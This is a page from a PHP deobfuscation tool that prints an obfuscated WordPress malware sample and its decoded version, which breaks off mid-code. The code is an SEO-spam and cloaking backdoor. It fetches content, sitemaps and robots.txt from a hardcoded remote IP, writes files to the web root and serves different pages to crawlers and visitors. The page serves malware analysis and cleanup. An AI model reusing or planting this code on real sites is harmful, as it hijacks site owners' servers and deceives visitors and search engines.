Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php @header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%...



Obfuscated php code

<?php

@header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,";
$oOooOO = 'z0823_7';
$oOooOOoO = "http://198.204.238.74/z0823_7/";
$oOooOOoOO = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https://" : "http://";
$oOoooOOoOO = $_SERVER["REQUEST_URI"];
$ooOOoooOOoOO = $_SERVER["HTTP_HOST"];
$ooOOOoooOOoOO = $_SERVER["PHP_SELF"];
$ooOOOOoooOOOoOO = $_SERVER["SERVER_NAME"];
$ooOOOOoooOOOOoOO = $oOooOOoOO . $ooOOoooOOoOO . $oOoooOOoOO;
$oooOOOOoooOOOooOO = "http://198.204.238.74/z0823_7//indata.php";
$ooooOOOOoooOOOooO = "http://198.204.238.74/z0823_7//map.php";
$ooooOOOOoooOOOooOoo = "http://198.204.238.74/z0823_7//jump.php";
$oooooOOoooOOOoooOoo = "http://198.204.238.74/z0823_7//words.php";
$ooooooooOOOOoooOOoooOO = "http://198.204.238.74/z0823_7//robots.php";
$ooooooOoOoooOOOooo["user_agent"] = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '');
$oooOoOOooOoooOOOoOoOoOoOoO = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '');
$ooooooOoOoooOOOooo["http_user_agent"] = $oooOoOOooOoooOOOoOoOoOoOoO;
$oooOOOooOoooOOOooooOoOoOoOoO = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$ooooOOOOoooOOOoooOOO = $_SERVER["REMOTE_ADDR"];
$ooooooOoOoooOOOooo["ip"] = $ooooOOOOoooOOOoooOOO;
$ooooooOoOoooOOOooo["referer"] = $oooOOOooOoooOOOooooOoOoOoOoO;
if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) {
    $ooooooOOoooOOOoooOo = $oOooOOoOO . $ooOOoooOOoOO . $ooOOOoooOOoOO;
} else {
    $ooooooOOoooOOOoooOo = $oOooOOoOO . $ooOOoooOOoOO;
}
$ooooooOoOoooOOOooo[] = array();
$ooooooOoOoooOOOooo[$O[12] . $O[8] . $O[25] . $O[10] . $O[7] . $O[24]] = $ooOOoooOOoOO;
$ooooooOoOoooOOOooo[$O[3] . $O[2] . $O[0] . $O[52] . $O[6] . $O[3] . $O[7]] = $oOoooOOoOO;
$ooooooOoOoooOOOooo[$O[15] . $O[3] . $O[2] . $O[13]] = $ooooooOOoooOOOoooOo;
$ooooooOoOoooOOOooo[$O[3] . $O[2] . $O[0] . $O[52] . $O[6] . $O[3] . $O[18]] = $ooOOOOoooOOOOoOO;
if (substr($oOoooOOoOO, 6) == $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11]) {
    $ooooooooOOOOOoooOoOoooOO = ooOOoOOO($ooooooooOOOOoooOOoooOO, $ooooooOoOoooOOOooo);
    define('BASE_PATH', str_ireplace($_SERVER[$O[35] . $O[41] . $O[35] . $O[52] . $O[37] . $O[28] . $O[44] . $O[39]], '', "/var/www/html/input.php"));
    file_put_contents(BASE_PATH . $O[63] . $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4], $ooooooooOOOOOoooOoOoooOO);
    $ooooooooOOOOOoooOoOoooOO = file_get_contents(BASE_PATH . $O[63] . $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4]);
    if (strpos($ooooooooOOOOOoooOoOoooOO, $O[59] . $O[20] . $O[25] . $O[18])) {
        echo $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4] . $O[57] . $O[13] . $O[7] . $O[18] . $O[2] . $O[57] . $O[21] . $O[3] . $O[2] . $O[10] . $O[4] . $O[2] . $O[57] . $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[88];
    } else {
        echo $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4] . $O[57] . $O[13] . $O[7] . $O[18] . $O[2] . $O[57] . $O[21] . $O[3] . $O[2] . $O[10] . $O[4] . $O[2] . $O[57] . $O[13] . $O[10] . $O[7] . $O[18] . $O[88];
    }
    exit;
}
if (substr($oOoooOOoOO, 4) == $O[59] . $O[20] . $O[25] . $O[18]) {
    if (strpos($oOoooOOoOO, $O[9] . $O[7] . $O[24] . $O[14] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) {
        $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo);
        $ooooooOOoooOOOooooOOO = explode(",", $ooooooOoOoooOOOooooO);
        $ooooooOOoooOOOooooOOO[] = $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9];
        for ($ooooooOOoooOOOooooOOOOo = 0; $ooooooOOoooOOOooooOOOOo < count($ooooooOOoooOOOooooOOO); $ooooooOOoooOOOooooOOOOo++) {
            if (strpos($ooooooOOoooOOOoooOo, $O[59] . $O[9] . $O[15] . $O[9]) > 0) {
                $ooooooOOoooOOOooooOOOOoo = $O[55];
            } else {
                $ooooooOOoooOOOooooOOOOoo = $O[63];
            }
            $ooooooOOOoooOOOooooOOOOOoo = $ooooooOOoooOOOoooOo . $ooooooOOoooOOOooooOOOOoo . $ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo] . $O[59] . $O[20] . $O[25] . $O[18];
            $ooooooOOOOoooOOOooooOOOOOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[11] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo;
            $ooooooOOOOoooOOOooooOOOOOoOooOoOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo;
            if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
            } else {
                if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                    echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
                } else {
                    if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                        echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
                    } else {
                        if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                            echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
                        } else {
                            echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[13] . $O[10] . $O[7] . $O[18] . PHP_EOL;
                        }
                    }
                }
            }
        }
        exit;
    }
    if (strpos($oOoooOOoOO, $O[10] . $O[18] . $O[18] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) {
        $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo);
        header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]);
        echo $ooooooOoOoooOOOooooO;
        exit;
    }
    if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) {
        $ooooooOOoOOoooOOOooooOOOOO = explode($O[55], $oOoooOOoOO);
        $ooooooOOoOOoooOOOooooOOOOO = $ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO) - 1];
        $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO);
    } else {
        $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[63], "", $oOoooOOoOO);
        $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO);
    }
    $ooooooOoOoooOOOooo[$O[1] . $O[8] . $O[3] . $O[12]] = $ooooooOOoOOoooOOOooooOOOOO;
    $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9];
    $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo);
    if ($ooooooOOoOoOoooOOOooooOOoOOO == '1') {
        $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo);
        header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]);
        echo $ooooooOoOoooOOOooooO;
        exit;
    }
    $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[1] . $O[8] . $O[3] . $O[12] . $O[11];
    $ooooooOOoOoOoooOOOooooOOoOoOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo);
    if (strpos($oOoooOOoOO, $O[25] . $O[10] . $O[9]) > 0 || $ooooooOOoOoOoooOOOooooOOoOoOO == '1') {
        $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[3] . $O[10] . $O[24] . $O[12] . $O[52] . $O[20] . $O[25] . $O[18];
        $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo);
        header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]);
        echo $ooooooOOoOoOoooOOOooooOOoOOO;
        exit;
    }
}
if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) {
    $ooooooOOooOooOoooOOOooooOOoOoOO = $oOooOOoOO . $ooOOOOoooOOOoOO . $ooOOOoooOOoOO;
    $ooooooOoOoooOOOooo[$O[25] . $O[10] . $O[7] . $O[24] . $O[52] . $O[11] . $O[15] . $O[2] . $O[18] . $O[18]] = $ooooooOOooOooOoooOOOooooOOoOoOO;
} else {
    $ooooooOOooOooOoooOOOooooOOoOoOO = $oOooOOoOO . $ooOOOOoooOOOoOO;
    $ooooooOoOoooOOOooo[$O[25] . $O[10] . $O[7] . $O[24] . $O[52] . $O[11] . $O[15] . $O[2] . $O[18] . $O[18]] = $ooooooOOooOooOoooOOOooooOOoOoOO;
}
$ooooOoOOooOoooOOOoOoOoOoO = oooOOooOOoOO($oooOOOooOoooOOOooooOoOoOoOoO);
if (strpos($_SERVER[$O[29] . $O[28] . $O[26] . $O[32] . $O[28] . $O[37] . $O[30] . $O[52] . $O[32] . $O[29] . $O[33]], $O[59] . $O[9] . $O[15] . $O[9])) {
    $ooooooooOOOOOOOO = $O[55];
} else {
    $ooooooooOOOOOOOO = $O[63];
}
if ($ooooOoOOooOoooOOOoOoOoOoO && substr($_SERVER[$O[29] . $O[28] . $O[26] . $O[32] . $O[28] . $O[37] . $O[30] . $O[52] . $O[32] . $O[29] . $O[33]], 5) == $O[59] . $O[15] . $O[4] . $O[25] . $O[18] && preg_match($O[63] . $O[16] . $O[10] . $O[63] . $O[7], @$_SERVER[$O[41] . $O[30] . $O[30] . $O[35] . $O[52] . $O[36] . $O[47] . $O[47] . $O[28] . $O[35] . $O[30] . $O[52] . $O[44] . $O[36] . $O[50] . $O[40] . $O[32] . $O[36] . $O[40] . $O[28]])) {
    echo ooOOoOOO($ooooOOOOoooOOOooOoo, $ooooooOoOoooOOOooo);
    exit;
}
$oooOoOooOooOoooOOOoOoOoOoOo = oooOOOo($oooOoOOooOoooOOOoOoOoOoOoO);
if ($oooOoOooOooOoooOOOoOoOoOoOo) {
    $ooooooOOOOOoooOOOOooooooO = ooOOoOOO($oooOOOOoooOOOooOO, $ooooooOoOoooOOOooo);
    if ($ooooooOOOOOoooOOOOooooooO == $O[70] . $O[67] . $O[70]) {
        header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
        exit;
    } else {
        if ($ooooooOOOOOoooOOOOooooooO == $O[69] . $O[67] . $O[67]) {
            header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[69] . $O[67] . $O[67] . $O[57] . $O[33] . $O[24] . $O[4] . $O[2] . $O[3] . $O[24] . $O[10] . $O[18] . $O[57] . $O[37] . $O[2] . $O[3] . $O[22] . $O[2] . $O[3] . $O[57] . $O[28] . $O[3] . $O[3] . $O[8] . $O[3]);
            exit;
        } else {
            if ($ooooooOOOOOoooOOOOooooooO == $O[23] . $O[18] . $O[10] . $O[24] . $O[17]) {
                echo '';
                exit;
            } else {
                echo $ooooooOOOOOoooOOOOooooooO;
                exit;
            }
        }
    }
} else {
    header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
}
?>

Decoded(de-Obfuscated) php code

<?php

@header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,";
$oOooOO = 'z0823_7';
$oOooOOoO = "http://198.204.238.74/z0823_7/";
$oOooOOoOO = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https://" : "http://";
$oOoooOOoOO = $_SERVER["REQUEST_URI"];
$ooOOoooOOoOO = $_SERVER["HTTP_HOST"];
$ooOOOoooOOoOO = $_SERVER["PHP_SELF"];
$ooOOOOoooOOOoOO = $_SERVER["SERVER_NAME"];
$ooOOOOoooOOOOoOO = $oOooOOoOO . $ooOOoooOOoOO . $oOoooOOoOO;
$oooOOOOoooOOOooOO = "http://198.204.238.74/z0823_7//indata.php";
$ooooOOOOoooOOOooO = "http://198.204.238.74/z0823_7//map.php";
$ooooOOOOoooOOOooOoo = "http://198.204.238.74/z0823_7//jump.php";
$oooooOOoooOOOoooOoo = "http://198.204.238.74/z0823_7//words.php";
$ooooooooOOOOoooOOoooOO = "http://198.204.238.74/z0823_7//robots.php";
$ooooooOoOoooOOOooo["user_agent"] = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '');
$oooOoOOooOoooOOOoOoOoOoOoO = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '');
$ooooooOoOoooOOOooo["http_user_agent"] = $oooOoOOooOoooOOOoOoOoOoOoO;
$oooOOOooOoooOOOooooOoOoOoOoO = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$ooooOOOOoooOOOoooOOO = $_SERVER["REMOTE_ADDR"];
$ooooooOoOoooOOOooo["ip"] = $ooooOOOOoooOOOoooOOO;
$ooooooOoOoooOOOooo["referer"] = $oooOOOooOoooOOOooooOoOoOoOoO;
if (strpos($oOoooOOoOO, ".php")) {
    $ooooooOOoooOOOoooOo = $oOooOOoOO . $ooOOoooOOoOO . $ooOOOoooOOoOO;
} else {
    $ooooooOOoooOOOoooOo = $oOooOOoOO . $ooOOoooOOoOO;
}
$ooooooOoOoooOOOooo[] = array();
$ooooooOoOoooOOOooo[$O[12] . $O[8] . $O[25] . $O[10] . $O[7] . $O[24]] = $ooOOoooOOoOO;
$ooooooOoOoooOOOooo[$O[3] . $O[2] . $O[0] . $O[52] . $O[6] . $O[3] . $O[7]] = $oOoooOOoOO;
$ooooooOoOoooOOOooo[$O[15] . $O[3] . $O[2] . $O[13]] = $ooooooOOoooOOOoooOo;
$ooooooOoOoooOOOooo[$O[3] . $O[2] . $O[0] . $O[52] . $O[6] . $O[3] . $O[18]] = $ooOOOOoooOOOOoOO;
if (substr($oOoooOOoOO, 6) == $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11]) {
    $ooooooooOOOOOoooOoOoooOO = ooOOoOOO($ooooooooOOOOoooOOoooOO, $ooooooOoOoooOOOooo);
    define('BASE_PATH', str_ireplace($_SERVER[$O[35] . $O[41] . $O[35] . $O[52] . $O[37] . $O[28] . $O[44] . $O[39]], '', "/var/www/html/input.php"));
    file_put_contents(BASE_PATH . $O[63] . $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4], $ooooooooOOOOOoooOoOoooOO);
    $ooooooooOOOOOoooOoOoooOO = file_get_contents(BASE_PATH . $O[63] . $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4]);
    if (strpos($ooooooooOOOOOoooOoOoooOO, $O[59] . $O[20] . $O[25] . $O[18])) {
        echo $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4] . $O[57] . $O[13] . $O[7] . $O[18] . $O[2] . $O[57] . $O[21] . $O[3] . $O[2] . $O[10] . $O[4] . $O[2] . $O[57] . $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[88];
    } else {
        echo $O[3] . $O[8] . $O[23] . $O[8] . $O[4] . $O[11] . $O[59] . $O[4] . $O[20] . $O[4] . $O[57] . $O[13] . $O[7] . $O[18] . $O[2] . $O[57] . $O[21] . $O[3] . $O[2] . $O[10] . $O[4] . $O[2] . $O[57] . $O[13] . $O[10] . $O[7] . $O[18] . $O[88];
    }
    exit;
}
if (substr($oOoooOOoOO, 4) == $O[59] . $O[20] . $O[25] . $O[18]) {
    if (strpos($oOoooOOoOO, $O[9] . $O[7] . $O[24] . $O[14] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) {
        $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo);
        $ooooooOOoooOOOooooOOO = explode(",", $ooooooOoOoooOOOooooO);
        $ooooooOOoooOOOooooOOO[] = $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9];
        for ($ooooooOOoooOOOooooOOOOo = 0; $ooooooOOoooOOOooooOOOOo < count($ooooooOOoooOOOooooOOO); $ooooooOOoooOOOooooOOOOo++) {
            if (strpos($ooooooOOoooOOOoooOo, $O[59] . $O[9] . $O[15] . $O[9]) > 0) {
                $ooooooOOoooOOOooooOOOOoo = $O[55];
            } else {
                $ooooooOOoooOOOooooOOOOoo = $O[63];
            }
            $ooooooOOOoooOOOooooOOOOOoo = $ooooooOOoooOOOoooOo . $ooooooOOoooOOOooooOOOOoo . $ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo] . $O[59] . $O[20] . $O[25] . $O[18];
            $ooooooOOOOoooOOOooooOOOOOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[11] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo;
            $ooooooOOOOoooOOOooooOOOOOoOooOoOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo;
            if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
            } else {
                if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                    echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
                } else {
                    if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                        echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
                    } else {
                        if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) {
                            echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL;
                        } else {
                            echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[13] . $O[10] . $O[7] . $O[18] . PHP_EOL;
                        }
                    }
                }
            }
        }
        exit;
    }
    if (strpos($oOoooOOoOO, $O[10] . $O[18] . $O[18] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) {
        $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo);
